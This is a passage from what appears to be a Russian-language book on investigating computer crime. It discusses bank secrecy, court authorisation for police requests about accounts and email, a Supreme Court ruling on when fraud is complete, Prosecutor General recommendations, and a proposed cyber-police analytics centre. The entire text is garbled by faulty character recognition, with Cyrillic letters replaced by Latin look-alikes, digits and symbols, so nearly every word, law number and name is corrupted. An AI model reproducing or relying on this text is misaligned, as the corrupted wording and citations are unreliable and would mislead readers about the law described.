BeTcTBUM ¢ DemepanbHbIM 3aKOHOM OT 02.12.1990 N2 395-1 «O 6aHKax
¥ GAHKOBCKOI IeITeIbHOCTI» .

Omnepaiyu ¢ UCIONIb30BaHMEM pacyeTHBIX CUeTOB, OAHKOBCKMX KapT
U laKe YUYETHbBIX 3aINCeli IeKTPOHHBIX IIJIATEXHbBIX CUCTEM SIBJISIIOTCS,

L http://www.consultant.ru/document/cons_doc_LAW 5842/.
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COIIacHo CT. 5 @3 «O 6aHKax 1 6AHKOBCKOI1 eITe/IbHOCTI», 0AHKOBCKM -
MU OIlepalusiMu, cJiefoBaTeaIbHO, HA JaHHbIe Oollepaluy pacipoCTpaHsI-
eTCsl peKMM OaHKOBCKOJ TallHbI.

Takum 06pa3oM, 3aIIpOChl, HAITpaBsieMble B paMKax [IeJI, HaXO/s-
IIMXCS B ITPOM3BOACTBE CJIEACTBEHHBIX OPraHOB, MOKHbBI ObITh COTJIA-
COBaHbI C PYKOBOAMUTEIEM CJIe[ICTBEHHOIO OpraHa, a CoCTaB/IeHHbIe IJIsI
rnosydyeHust MHGopmanuy mMpyu NpoBeIeHU OlepPaTUBHO-PO3bICKHBIX
MEepOIPHUSITUIL — UMEeTh Cyne6HOe pellleHe, CAaHKIMOHMPYIOIlee Mpeao-
CcTaBJieHle CBedeHM .

K ToMy, Kak ObICTPO BO30YKIAIOTCS YTOJIOBHBIE Jlejia 10 KOMITbIO-
TePHBIM MPECTYIJIEHUSIM, MbI ellle BepHeMCs. A BOT 40 BO30YXIeHMSI
YIOJIOBHOI'O Y OTMlepPaTMBHUKOB TOJIbKO OAVH MYThb MJISI IOTYyYeHUS] UH-
dbopmanuu o peKBU3UTAX — Uyepe3 Cy/I.

I1s1 momydeHus paspelleHus Cya COTPYIHUKY OpraHa BHYTPEeHHUX
el HeoOX0IMMO ITOATOTOBUTD XOIATaICTBO OT PYKOBOAUTES. [IJISI TOTO
YTOOBI ITOATOTOBUTh XOIATaiICTBO, HEOOXOAMMO IMOATOTOBUTD PSII, 10-
KYMEHTOB, YKa3bIBAIOIIVX HEOOXOIMMOCTb BBIXO/IA C TAKOI'O POAa XOAa-
TaliCTBOM B CY[,

MTak, MOATOTOBMB MOTMBMPOBAHHbBIN TOKYMEHT U MPOEKT MOCTAaHOB-
JIeHMSI BbIXOJla B Cy[I, ONlepaTMBHUK OTOAET 3TU JOKYMEHTbI Ha COIJia-
coBaHue. [Tocie cornmacoBaHusl JOKYMEHTBI MAYT Ha MOAINCh PYKOBO-
OUTEeJII0 OpraHa BHYTPEHHUX Oesl. 3aTeM COTPYJHUK TOTOBUT MPOEKT
CYJIeliCKOTO MOCTAaHOBJIEHUS U OTHPaBJISIeTCs B CY/I.

ITocie roay4yeHus ITOCTaHOBJIEHMS Cya OIePaTUBHUKY HEOOXOIMMO
caenaTh psig JOKYMeHTOB, BK/IIOUas 3alipoC, KOTOPbIe COI/IaCOBbIBAKOTCSI
U TIOJMCBIBAIOTCS PYKOBOAMUTE/IEM OpraHa BHYTPeHHUX Jiell.

[TpenmnonoXxmum, UTO ONepaTUBHUK Iepedync/ieHHOe BbIllle caeiasn 3a
Hee/Il0 ¥ OTIPaBUJICSI B KPeAUTHYIO OpraHu3aluio, rae oH... CMoxkeT
JINIIb COATh 3aIIPOC U XXAATh OTBETA.

Cratbs 13 ®enepanbHoro 3akoHa oT 07.02.2011 N2 3-@3 «O nonuimum»!
YKa3bIBaeT, UTO TpebOBaHMS (3aIIPOCHI, IIPeACTaBIEHNSI, IIPEITVCAHNS)
YIIOJTHOMOYEHHBIX JTO/KHOCTHBIX JIMIL MOJIUIUM 00S13aTeIbHbI IJIST VC-
TOJTHEHMSI BCEMM OpPTaHMU3alMsIMU B CPOKM, YCTaHOBJIEHHbIE B TpeboBa-
HUM (3aIIpoce, peacTaBAeHuN, IpeanucaHm), HO He Mo3aHee OJJHOTO
Mecsilia C MOMEeHTa BpyueHMs TpeboBaHMs (3aImpoca, ImpeacTaBIeHusl,
npennucanms).

L http://www.consultant.ru/document/cons_doc_LAW 110165/.
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Kak 6bI TO HI ObILI0, ITOJITOTOBKA O(GUIIMAIbHOIO OTBeTa 6aHKOM 3aii-
MeT He MeHee HeJleJlN.

[TomyynB IONTOXIAHHYIO BBIMMCKY II0 CUETY, 3a4aCTyI0 MOXKHO YBU-
IeTb JAJIbHENIINI epeBof CPeACTB Ha APYyTrMe PEKBU3UTBI. AJITOPUTM
IEeNCTBUI B NAHHOWM CUTyallMM MbI TOJbKO UTO PacCMOTpeJM, BCe Ha-
YMHaAeTCsl CHayvasa.

Coenatp 3ampocC cjlefoBaTe/Nl0 B paMKaxX YrojJOBHOTO Jiejia ropasmio
TIpOIIe, UeM OITePYIIOJIHOMOYEHHOMY, HO, KaK IPaBWJIO, IIPeCTyIUIeH/e
COBepIIIeHO, a 10 BO30YKIeHNsI YTOJIOBHOTO ZieJia elile IokKa OueHb JajieKo.

Borpoc, KOTOpbIii 3aai0T C/Ie[ICTBEHHbIE OpraHbl, KOrga K HUM I10-
CTYTIAIOT MaTepuasbl O XUIIeHUN IeHeXKHbIX CPeICTB (ITyTeM BBOAA, YA a-
JeHus1, 67I0KMpPOBaHMSI, MOAMMUKALIMM KOMITbIOTepPHOM MHGOPMAIIVA)
repen BO30yKIeHMeM yTOJIOBHOTO Aena: «[me oOHaaMueHbl TeHesKHbIe
cpeacTBa?» YUUThIBas CyIIeCTBYIONIMIT aITOPUTM, OTBET MOXKHO MCKATh
IOBOJIbHO [JIOJITO, YTO, KOHEUHO 3Ke, He MOXKET He CKa3bIBaThCsl Ha Ka-
yecTBe U CKOPOCTU pacciienoBaHuit. OqHaAKO MHOKeCTBEHHbIe OTChII-
KU CJIeICTBEHHBbIX OPraHOB K MOCTaHOBJeHMIO [lieHyMa BepxoBHOrO
Cyma P® N2 51! 6bIOT BCe peKOP/IbI.

A Bce 1TOTOMY, YTO B 9TOM IOKyMEHTe yKa3aHo, YTO MOIIIeHHUYECTBO,
TO €CTh XUIIEHNE Yy3KOT0 MMYIIEeCTBA, COBEPIIIEHHOE ITyTeM 0OMaHa UK
3JI0yT1oTpe6ieHsT JoBepyueM, Mpu3HaeTCs] OKOHYEHHBIM C MOMEHTA,
KOIJla YKa3aHHOe MMYIIeCTBO MOCTYIIMIO B HE3aKOHHOE BjIaZileHMe 3JI0-
YMbILIJIEHHUKA WIN APYTUX JIAL, M OHU TIOTYYMJIM pPeaJbHYI0 BO3MOXK-
HOCTb MOJIb30BAThCSI MJIM PACTIOPSANTHCS UM IO CBOEMY YCMOTPEHMIO.

Ecin, HanpuMep, K KOMITbIOTEPY KOMIAHUM, Ha KOTOPO# MUCIOJb3Y-
eTcsl cucTeMa AMCTAaHIMOHHOTO 6aHKOBCKOTO OOCTYKMBaHMS, TTOTyYeH
HeIlpaBOMEPHbIi TOCTYN U ITyTeM MoaubuKamuy MHGopMamnmu coBep-
IIeHO XUIlleHMe JeHeXXHbIX CPeACTB C paCUeTHOIO CUeTa, IePBbIM Je/I0M
MIPUXOAUTCS YCTaHABAMBATD, I7le NJeHeXXHbIe CPeCTBa, IIPOIIS IIeTTOUKY
repeKkuIbIBaHMii, ObUIM OOHAMMYEeHbl. OTa MHMOpPMAIMS OYeHb BaskHA
IJis1 pellieHMsI BOIIpoca O BO30OYXAeHUM YTOJIOBHOTO Jiejia U TIPUHSTUS
TaKMX Mep, KaK apecT JIeHEKHbBIX CPEJICTB, KOTOPbIVi BO3MOXKEH TOJIbKO
B paMKax yroJIOBHOTO Jejia 10 pelleHNIo Cyaa.

C TakuM MapagoKCOM MPUXOOUTCS CTAIKMBATHCST KaK MOTEPIIEeBIINM,
TaK ¥ OTIepaTMBHBIM ITOAPa3aeIeHUSIM.

I TlocraHnoBneHue Ilnenyma BepxoBHoro Cyma P® ot 27.12.2007 N2 51 «O cyme6HOII
TIpaKTHUKe TI0 JejIaM O MOIIeHHMYEeCTBe, IPUCBOEHNUY U pacTpaTe».
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[Tpu paccMoTpeHUM KbGepIipecTyIUIeH i, CBI3aHHbBIX KaK C HEeIIpaBo-
MEPHBIM JOCTYIIOM, TaK U C XUIIEHNEeM JeHEeKHbIX CPEICTB, POXKAAETCS
Macca BCeBO3MOKHBIX BEpCUIA M MHEHUI O BpeMeHM U MeCTe OKOHYaHMS
MIPeCTYyTIeHUS.

Mesxay TeM MpecTyIlJieHe COBEPIIeHO, M BpeMs UJET.

Hy, BCce 3TO He TakK IIOX0, KaK MOKeT IMoKa3aTbCsl. OTBITHBIX Olepa-
TUBHMUKOB B Poccuy moKa XBaTaeT, M OHU CIPABJISIOTCS C Pa3IUIHbIMU
6I0pOKpaATUUECKMMY TTEPUTTETUSIMMU.

B yacTHOCTM, OOHMUM M3 BBIXOAOB B MPUBEAEHHON BbIlIE CUTyaLUN
C XUIIEHNEM JIeHEXHBIX CPEJICTB MOCPEICTBOM IMCTAaHIIMOHHOTO OaH-
KOBCKOT'O OOCTY>XKMBaHMSI MOTYT OBITh IIPOBEJIeHME OIEePaTUBHOTO MC-
CJIelOBaHMST KOMITbIOTEPHOM TEXHUKU ITOTEpIIeBIIEero U BO30YXIeHMe
YTOJIOBHOTO JieJia 1o (GaKTy HellpaBOMEPHOTI'0 IOCTYIa K KOMITbIOTepHO
nHdopmanyu (ct. 272 YK P®) mnu pacinpocTpaHeHUst (MCIIOIb30BaHMS)
BPeIOHOCHBIX porpamm (CT. 273 YK PO).

[Tocne Takoro miara MosIB/SIETCS BO3SMOKHOCTDb OCYILIECTBJISITh 1a/ib-
Helillle HeoT/araTelbHble NeVCTBUS, TPeOyoIyecs: O PaCKPbITUS
MPEeCTYIJIEHMS U BO3BpaTa JeHEXHBIX CPeACTB, HO YK€ B paMKax BO3-
O6Y>KIeHHOTO yTroJ0BHOTrO Jesa. Kak yske yKasbIBaJIOCh BBIIIIE, TOTyYEHME
3aIIPOCOB O IBVDKEHUM JEeHEKHbIX CPefCTB ropa3fo olepaTUBHEE OCYy-
IIeCTBJISIeTCS] B paMKaX yTroJIOBHOTO Jejia o 0ObIKHOBEHHOMY 3aIipocy.

[TonbITKM OrpaguTh OTHAEIbHBIX COTPYAHUKOB MIPAaBOOXPAHUTETbHbBIX
OpraHoB OT IPOM3BOJIa U KOPPYILMOHHBIX AECTBUI MMapaJn3yloT pa-
60Ty BCEX OCTA/IbHBIX. ABTOP CUMUTAET, UTO €C/IM «IUIOXO¥» COTPYIHUK
3aX04YeT 3a BO3HArpakjaeHue «IIpoouTh» MHGOpPMAIMIO, OH ee U TaK
«IIpoOBEeT», HEB3Mpas Ha OI0pOKpaTHUecKye 6apbephl. A BOT OTCYTCTBME
OIEepaTUBHO MPOBEAEHHbBIX OEeMCTBUI IIPU PACKPBITUM MPECTYIIeHUS
UTPAeT Ha PYKY TOJIbKO MTPECTYITHMKAM, a He OOIIeCTBY.

CTOUT yIIOMSIHYTbD €ellle OOVMH MpUMep, JEMOHCTPUPYIOUIMIT pa3HOCTh
B3IVISIIOB HA OOHM U T€ >Ke BellN.

[IpeAronosxxum, 4To 3/I0yMbILIJIEHHUK UCIIO/Ib3YeT 3JIEKTPOHHbIN I10Y-
TOBBII SIMK U COTPYAHUKY IMPABOOXPaHMUTENbHOI CUCTEMbI HEOOXOAM -
MO Ha 3aKOHHBIX OCHOBaHMSX ITOYYUTDb €r0 COAEPKUMOE.

s mosydyeHmsl TaKUX OJaHHbBIX, B COOTBETCTBUM ¢ KoHCcTUTYy1MEe PO
n @emepaibHBIM 3aKOHOM 00 OIepaTMBHO-PO3BICKHON HeSITeIbHOCTH,
TpebyeTcst paspelnieHue Cyza.

Jloruka mopackaspiBaeT ONepaTMBHOMY COTPYAHMKY, UTO 3JIEKTPOH-
HbIVi TIOUTOBBIN aZpec eCTb He UTO MHOe, KaK KOMIIbIoTepHasi MHGOop-
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MaLys, ¥ ee MOKHO ITOy4aTh Y KOMIIaHUU, IIPEAOCTABIISIIONIEN CepBUC
3JIEKTPOHHOJ MTOYTHI, B pAMKax OIepPaTMBHO-PO3bICKHOT'O MEPOIIPUSITUS
«CHSITME MH(POPMALIVY C TEXHUYECKUX KaHAJIOB CBSI3U» MO0 «KOHTPOIh
TTOYTOBBIX OTIIPABJIE€HUIA, TeslerpadHBIX M MHBIX COOOIIEHMIT».

Ho ka3yc B TOM, YTO KOMIIaHMS, HA YbMX CEpBEpaxX pacIlONOKeHa VH-
dbopmanus, cuuTaeT, 4YTO AJISI MIPEeOCTaBIeHMs] JAHHBIX HEOOXOAMMO
MOTy4YaTh paspelleHye Cyga Ha OMepaTMBHO-PO3bICKHOE MeponpusiTue
«KOHTPOJIb IIOYTOBBIX OTIIPABJIEHMIA, TeserpadHbIX M MHBIX COOOIEHMIT»,
B paMKaX KOTOPOTO 6y[eT mpenocTaBiieH JOCTYI K MHGOpMaIiu.

OpHako cyp, OTKa3bIBaeTCs BbIIaBaTh paspelleHue Ha gaHHoe OPM.
[To3uuus cyma BHojiHe 0ObSICHMMA, CYAbsl YKa3biBaeT Ha OTCYTCTBUE
Y KOMIOaHUU, IPENOCTABISIOLIEN CepBUC 3JIEKTPOHHO ITOYTHI, BUAA
IesITEIbHOCTU «JIeSITeIbHOCTb MIOYTOBOI CBSI3U», IO9TOMY «CHSITUE UH-
dbopmaium ¢ TeXHMUEeCKUX KaHaJI0B CBSI3U» — 3TO TO ONEepaTUBHO-PO-
3bICKHOE MepOonpusiTHe, B paMKax KOTOPOro, 10 MHEHUIO CY[a, TO/IKHbI
IeiCTBOBATb COTPYIHUKINA.

Takux, 4aCcTO JOBOJIbHO MPOHUYHBIX HEITIOHMMaHMUI IIpU paccienoBa-
HUM TIpecTyIieHunii B cdhepe BbICOKMX TEXHOJIOTHMII BCTpevyaeTCs JOBOJIb-
HO MHOTO, I OHU CO BpeMeHeM, 6e3yC/IOBHO, HaXO ST CBOE paspelieHue.

B nmopTBepxxaeHMe CKa3aHHOMY MOYKHO HAaIlOMHUTD O TNOIIOJTHEHUU
apceHasia OrnepaTMBHO-PO3bICKHOMN AesSTeIbHOCTU HOBBIM Bugom OPM —
rosyyeHue KOMITbIOTepHOI MHbOpMaly, BBegeHHbIM PefepasbHbIM
3akOHOM OT 06.07.2016 N2 374-®3.

HecMoOTpst Ha TO UTO HA MOMEHT HaMMCaHMUSI KHUTU HUKAKUX Opu-
LIMaJIbHBIX pPasbsiCHeHMIi 1Mo gaHHoMy Buay OPM omy6iaMKOBaHO He
ObLI0, JAHHBIV BUJT MOXKET IMOTJIOTUTD OOJIBIIYIO YaCTh BUAOB MEPOIIPUSI-
TUIA, HaTIpaBJIeHHBIX Ha TOJyYyeHMe AAaHHbIX B IM(MPOBOM IpefcTaBe-
HUM, U TI03BOJIUT 6oJiee rmoKo 1 3(PEGEeKTUBHO MUCIIOIb30BaTh Pe3Y/IbTaThI
OIepaTUBHO-PO3BICKHOI AesITeTbHOCTHA.

Taxk iy nHaue, COOpaHHbIe COTPYAHMKAMM MaTepuabl, CoAaepKaliye
pes3yJibTaThl ONlIePATUBHO-PO3bICKHOM eSTEeIbHOCTH, BCEraa npeaoCcTas-
JISIIOTCSI B OpraHbl CIeCTBUS, TAe OHM PACCMaTPUBAIOTCS U IPUHMMAET-
s pelieHye BO30YKIaTh YTOJIOBHOE JIeJI0 UM OTIIPaBUTh KyHoa-HUOYIb
C IIa3 JOJIOM. DTO MECTO SIBJISIETCSI JOBOJIBHO YSI3BMMBbIM C TOUKM 3PEHUS
KOPPYMNLMOHHON COCTaBJSIONIEN M PACIIPOCTPAHEHHOI'O MTOBCEMECTHO
CYOBEKTMBM3Ma.

B03MOKHO, 60j1€€e MPaBMUIbHBIM ObIJIO ObI TIOMYYATh OLIEHKY ITPOKY-
paTypbl Ha MMeEIOIIVeCs Wi HEMMEIIMeCs COCTaBbl MPECTYIUIEHUS
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A —————————

B COOpaHHBIX OTlepaTMBHBIMU MOJpa3ae/eHUsIMI MaTepuaiax, mpexie
yeM HaIlpaBJIsSITh MX B CJIeICTBEHHbIE OPTaHbl, HO CUCTEMA YCTPOEHA TaK,
KaK yCTpO€eHa.

B meicTBUTENBbHOCTYU C/IEACTBEHHbIE OPraHbl HAUMHAKOT «B3BEIlIN-
BaTh» IIAHCHI HA JOBeJeHMe TMPeAJIOKeHHOTO MM MaTepuasna, B ciiydyae
BO30YKIeHMST YTOJIOBHOTO Jejia M MPUHSITUSI €eT0 K MPOU3BOICTBY, A0
JIOTMYECKOro 3aBepuieHus. XBaTUT JIM BpEMEeHU y CJiefoBaTess, OCTa-
TOYHO JIX Y HEr0 3HaHUIA, a eIV BOPYT 37I0YMbIIUIEHHUK UM CBUAETEe-
JIY OTKaKyTCS OT MoKas3aHui? U Takux «a 4To, ecyin» ObIBAeT 3a4acTyIO
OYeHb MHOTO.

ITogo6HbIe BEIIV IPUBOIST He TOJIbKO K HI3KO0M 3 PeKTUBHOCTH pac-
CJlenoBaHMsI TIPeCTyIUIeHU B chepe KOMITbIOTePHOV MH(pOpMaLu 1 Cy-
ne6HOro pacCMOTpeHMSI TaKUX Jiesl, HO U MOMPOCTY K MHOTOUMC/IEHHBIM
OTKa3aM B BO30Y>KIIeHMM YTOJOBHBIX JeJl.

M3 Bcex 3aC/yKMBAKOUIMX BHUMMAHUS JOKYMEHTOB, O3BOSIOMINX
OTIpeie/INTh MPABUJIbHBIN MTOAXO[ K PacciaeIoBaHNIO KMOepIpecTyIuie-
HUIA, UMEeTCs OOMH, HO 110 KaKMM-TO IIPUYMHAM He OYeHb IOMY/ISIPHBIN
OOKyMeHT — «MeToauuecke peKOMeHIalum M0 OCYLeCTBIeHUIO TIPO-
KypOPCKOTO Haj30pa 3a UCIOJHEeHMEeM 3aKOHOB IPU paccjiefoBaHUM
MpecTyIyieHnit B chepe KOMITbIOTEPHOI MHPOPMaLMu»!, TOATrOTOB/IEH-
HbIli emle B 2013 rony I'eHepasibHOI NIpOKypaTypoi PO.

3 3TuX peKoMeHalnii Hy>KHO CAeIaTh HECKOIbKO BaKHBIX BbIBOIOB,
KOTOPBIX MHOTME He 3HAIOT U He MIPUHUMAIOT BCepbes.

leHepasnibHas npokypaTtypa Poccum cripaBelinBO yKa3biBaeT Ha He-
00XOMMOCTb TILATEIbHOM MPOBEPKYU U OLIEHKM Tpe[CcTaBAeHHbIX s
BO30Y>KIeHMS YTOJIOBHBIX JleJl MaTepuaaioB: 3asiBJIeHMi, MaTepuaaoB
BeIOMCTBEHHO ¥ MHOJi POBEPKY O HapyIIeHU! 11eJIOCTHOCTY (KOHPM-
OeHIMaabHOCTU) MHbOpMaluM B KOMIIbIOTEPHOI CuUCTeMe, CeTH, O Ha-
JIMYMY IPUIMHHOM CBSI3U MeXIy HellpaBOMEepPHBbIMU AeCTBUSIMU U Ha-
CTYNIMBIIMMU TOCTeNCTBUSIMU, O IIPeABapUTeIbHOM pa3mMepe yiepoa,
IIPUYMHEHHOI'O B pe3y/bTaTe MPEeCTYIHbIX IeCTBUIA.

BaskHOI1 cOCTaBJISIIONIEN TPV BO30YKAEHMM YTOJIOBHOTO JIe/1a, 10 MHe-
HMI0 ['eHepanbHOI MPOKYypaTypbl PO, SIBASIOTCS 0OBSICHEHUSI COTPY -
HMKOB ITOTepIIeBlIei OpraHmn3alnmu — afMUHUCTPATOPOB CETU, MHXKe-
HEepPOB-IIPOTPAMMMCTOB, pa3paboTaBIIMX IPOTpaMMHOe obecrieueHue
M OCYLIECTBJISIOIIMX €ro COMPOBOXKAEHME, OIIEPATOPOB, CIELMATNCTOB,

I https://genproc.gov.ru/documents/nauka/execution/document-104550/.
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3aHMMAIOUIMXCS SKCIUIyaTalyeil ¥ peMOHTOM KOMITbIOTEPHO TEXHUKN,
CUICTEMHBIX ITPOrPAMMMCTOB, MHIKEHEPOB, pAOOTHMKOB CITYKObI 6e3011ac-
HOCTU U APYIUX COTPYAHUKOB.

JlaHHbIe MeTOoANYEeCK/e PEKOMEH AL TOBOPSIT O TOM, UTO pellleHue
0 BO30YKIEHMM YTOJIOBHOTO JieJla MOKET IMIPMHMMATBHCST KaK Ha OCHOBA-
HUM MaTepuaJoB MpeaBapUTEeIbHBIX IPOBEPOK 3asIBJI€HUI MMOTEpIeB-
IIMX, OpTaHMU3aLNI U JO/DKHOCTHBIX JIMLIL, TAaK U II0 MaTepuaiaM OpraHoB,
OCYILLIECTBJISIOIIMNX OMEPATUBHO-PO3bICKHYIO AeSITeNbHOCTb IIPU peain-
3alMM OTlepaTUBHBIX pa3paboTOK, pe3yabTaTOB ONlepaTUBHO-PO3bICK-
HBIX IeICTBUI 10 BBISIBJIEHMIO ITPECTYIIeHU B chepe KOMITbIOTEPHOI
MHbOpMaLK U JIUL, UX COBEPIIUBIINX.

U Te, u npyrue matepuaybl MOTYT COAEPKAaTh UCCIeNOBaHUS CIie-
LIMaNCTOB, KOTOPbIe MO3BOJSIOT MOATBEPAUTD (GaKT CBepIlIeHus mpe-
CTYIUIEHMS U TIPaBUJIbHO €ro KBaau@uiMpoBaTh.

31ech ke XOoUeTcss 0OpaTUTh BHMMAaHMe Ha TO, UTO [eHepasibHAsI MPO-
KypaTypa He6e30CHOBaTEeIbHO yKa3bIBaeT HA HEOOXOIMMOCTDb ITPOBe-
IeHNs TI0 YTOJIOBHBIM JejiaM, CBSI3aHHBIM C BPeJOHOCHBIMM KOMIIbIO-
TePHbIMM IIPOrpaMMaMi ¥ HeIpaBOMEPHBIM JOCTYIIOM, CIIelMaJbHbIX
CYyIeOHBIX 3KCIEPTHU3, 10 KOTOPBIX 3aUaCTyI0 IIPM OOHAPYKEeHUM UHIIU-
IeHTOB MH(OpPMaIMOHHOM 6e30MMacHOCTH JeJI0 Aaxke He JTOXOAUT, OHU
He Ha3HayvaloTCs MPY pacCMOTPEHUM 3asiBJIEHUIA IOTePIeBIINX U MaTe-
pMaaoB MPOBEPKN.

B TakoM IOI0KeHUM 1eJ1 CTOUT BUHUTD HE TOJIbKO TPaBOOXPAHUTENb-
Hble OpraHbl, HO U CaMMX MOTeprneBuIMX. Pojib KOMITbIOTEPHBIX MCCIIE-
OOBaHMIA U SKCIEPTU3 00sI3aTeIbHO OYIEeT 3aTPOHYTA B MOUIEIYIOIINX
YacTSIxX KHUTHU.

Ho 4TO6bI He MOKAa3a/I0Ch, UTO CK/IAbIBAIOIIASICS CUTYALIUSI CPOTHU
00JI0TY, HY’KHO 3aMEeTUTh, UTO I'OCYIapCTBO ¥ pyKoBoacTBO MBI Poccun
B IMOC/eAHME TOAbI BCe OObINe M O6OJbIle BHUMAHUS YAeIseT TeXHU-
YeCKOMY OCHAI[EHUIO 3KCIIEPTHBIX LIEHTPOB U IMOBBIMIEHNIO KayecTBa
MIPOTUBOIEMCTBUS TIPECTYIUIEHUSIM B MHDOPMAaIIMOHHOI cdepe.

[To cioBam mepBOro 3amecTuUTeNss MUHUCTPA BHYTPEHHUX Hen Poc-
curickort @epepauyu A. A. [opoBOro, «CJIOKHOCTb PACKPBITUS U paccie-
OOBaHUSI TaKUX MPOTUBOIIPABHBIX AESIHUI OMpenesieTcss X BbICOKOIA
JIATEHTHOCTHIO, COBEpPLIeHEeM HeIlpPaBOMEPHbBIX OeiCTBUIL B YCIOBU-
SIX, UCKJTIOUAIOIIMX JIMUHBIV KOHTAKT C MOTEePIEBIINM, OCOOEHHOCTSIMU
KOMITbIOTEPHO MHMOpMAaLMK, a UMEHHO: 6e340KyMeHTapHOoi popMoii
XpaHeHMsI, ObICTPOTON U JIETKOCTbI0 YHUUTOKEHMS, ee 06e3/IMIeHHO-
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CThI0. IMEHHO IM03TOMY 3HAUMTEIbHYIO YaCTb MPeCTYIJIEHUIT JaHHO
KaTeropuy He yaeTcsl pacKpbITh, @ YTOJIOBHbIE [iejia IIPMOCTaHaBIMBa-
IOTCSI B CBSI3Y C HEBO3MOXHOCTbBIO YCTAaHOBJIEHMUSI JINL], COBEPIIMBILINX
MIpecTyIuieHUs... YUUTbIBAS 3HAYMMOCTD IIPOTUBOAENCTBYS Pa3/IMUYHbIM
BMUJAM MOILIEHHMYEeCTBa, pykoBoacTtBo MBIl Poccuu ymensier naHHOMY
BOIIPOCY CYIIIeCTBEHHOEe BHMMaHMe»!.

Taxoke, o ciosam A. A. Toposoro, «B MB]I Poccyun B 1ie/sIX ITOBbILLIEHMS
3 beKTUBHOCTY ITPOTUBOAELIICTBMSI MOIIIEHHMYECKMM JeiCTBUSIM, COBEp-
IIIEHHBIM C TIOMOIIbIO MH(POPMAIIMOHHO-KOMMYHUKAIIMOHHBIX TEXHOJIO-
I'Mii, B HACTOsIIIee BpeMsI OCYIIECTBJISIeTCsT pa3paboTKa Crelyaan3upo-
BaHHOJ MH(MOPMAIMOHHON CHCTEeMbI, HAaKaIlJIMBAIOLIE ¥ 00600IIaI0IIei
3HAUMMble CBeJeHMsI O TaKuX IpecTyIUIeHUsIX, IpeqHa3sHaueHHOM [IJIsi
(DYHKLIMOHMPOBAHMSI BO BCEX TEPPUTOPHUAIbHBIX opraHax MBI Poccum».

ITo MHeHMIO aBTOpa, AJIs1 60PbOBI C KMOEPIIPeCTYIIEHUSIMU HEe00X0-
IVIMO peanu30BaTh aHAJIUTUYECKUI LEHTP, HAXOOSIIMUIACS B TOApa3-
IeJIeHUM TaK Ha3bIBaeMOJi KMOeproauIuu. DTO MOXKHO cAelaTh Ha 6ase
CYIIEeCTBYIOIIMX ITPaBOOXPaHUTEIbHBIX OPTAaHOB, He CO3/aBasi HOBBIX
CTPYKTYP M He pacxomysl JIMIITHUX IeHEXKHbIX CPeACTB U3 ¢elepaqbHOr0
OI0KeTa.

BHeceHue B MHGOPMAILMOHHYIO 623y TAKOTO aHAJIMTUYECKOI'O IIeHTpa
OIepaTUBHBIX JaHHBIX O JMIaX (TeX ke ApoIlax, K MpumMepy), abOHeHT-
CKUX HOMepax, uaeHTu@mKaTopax yCTpoiCTB, akkayHTax, IP-ampecax,
peKBMU3UTAX U Ipoueii MHDOpMaluM MO3BOJUT YCTAHOBUTD MPUYACT-
HOCTb OJHOJ TPYIIIbI KMOEPHPECTYIMHUKOB K Pas3JIMUYHBIM SMM30aM
MIPeCTYITHON IesiTeIbHOCTU U MPOCAeIUTh B3aMOCBSI3N.

O6ecneyeHne AOCTYIIA K TAKMM JaHHBIM BCEX OIepaTUMBHBIX IMOpa3-
IleJIeHMi, 3aHMMAaIOUIMXCS BbISIBJIEHEM U paCKpPbITMEM IIpeCcTyTIIeHUA,
TI03BOJIAT OCYIIECTBIISITh 60Jiee CKOOPAVMHMPOBAHHbIE MEKBEIOMCTBEH-
HOe U MeXperMoHa/ibHOe B3aMMO/IeViCTBUSI.

Ha cerogHsITHMIi eHb B pe3y/bTaTe IeiiCTBUSI OJHO IPYIIITbl Kubep-
MPEeCTYITHUKOB MOTYT MOCTpanaTh ¢pusmMueckue U opuandeckue auiia
B pa3/JIMUHbIX pernoHax Poccun.

ITo dakTam mpecTyIieHui B pa3JIMUHbIX perMoHax OyayT He3aBUCH-
MO ZpPYT OT Apyra paccjaenoBaThCsl YITOJIOBHbIE JieJia, U IJie-TO OHM OyayT
MIPMOCTaHABIMBATHCS, a IJle-TO MPaBOOXPaHUTEIbHBIM OpraHam yaacTcs
HAIacTb Ha cjie[l 3JI0YMbIIIEHHUKOB M PAaCKPbITh IIPeCTyIlIeHNe.

L http://ormvd.ru/pubs/101/the-investigation-techniques-of-deception/].
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Ho nipu 3TOM [lasieko He BCerga pacKpbITMe OGHOIO 3MM304a KaK-TO
MOXEeT CKa3aTbCsl HA Macce MPUOCTAHOBJIEHHBIX YTOJIOBHBIX [I€J1, CBSI-
3aHHBIX C AEsITeJIbHOCTbIO OOHOW U TOM >Ke T'PYIIIbI, U «BUCSKU» IIPO-
IOJKaT MUPHO XPAaHUTHCS B ceiipax Ha IMpoCTOpax Hallleii HeoObSITHO
PonuHbl.

4.3. TpaaMUMOHHAA 3alLMTa U PbIHOYHbIE TEHAEHLMUK

[Toka mpaBooxpaHUTe/bHASI CCTeMa M 3aKOHOJaTelbHasi 6a3a coBep-
[IEHCTBYIOTCS B IIOTOHE 32 TEXHOJIOTMYECKMM ITPOTPeccoM U JIerKMMM Ha
MoA’beM IPeCTYITHMKAMM, PbIHOK CUCcTeM MH(pOPMAaIMOHHO 6e301ac-
HOCTM MOXeT MPeAJIOKUTh YaCTHBIM ¥ KOPIIOPAaTUBHBIM MOTPEOUTEISIM
pasHoo6pa3Hbie KOMILJIEKCHbIE pellleHNsI, B TOM UMc/ie OTeUeCTBeHHOTO
MIPOM3BOAMTEIIS.

It 3aLIATBI CUCTEMBI, K KOTOPO# (M3n4yecKky uMeeT AOCTYIT TOIbKO
OJIVH UeJIOBeK (JIMIHbI MOOMIbHBIN Tesied)OH MM HOYTOYK), BITOJIHE J10-
CTaTOYHO YCTAHOBJIEHHOTO CHOCHOT'O aHTMBMPYCa CO BCTPOEHHbBIM CeTe-
BbIM 9KpaHOM, HECJIOSKHOTO TIPWIOXKEHMST IJis M poBaHMUST 3HAUMMOIA
MHbopmaluu 1, KOHEUHO, 6a30BbIX 3HAHUI O MOCTeIHUX TeHIAEeHIMUSIX
B chepe BpeqoOHOCHBIX TPOTPaMM M BO3MOXKHBIX BapMaHTax MPOBeAeHNsT
KubepaTax.

Korza peub MeT 0 TOKaJIbHOM CeTU Jaske HeOOIbIIIOTO PeIIpusITHS,
CUTYyaLMsI yyke MHas, uncio (pakKTOpoB pucKa pe3Ko Bo3pacTaeT 1o Hebec.
[Ipy BOBHMKHOBEHUM KAKOTO-JMO0 MPOUCIIECTBUS JOBOIBHO TPYILHO
MOMEHTaJIbHO pa306paThCs B MPUUMHAX MHIMAEHTA MHPOPMAI[MOHHO
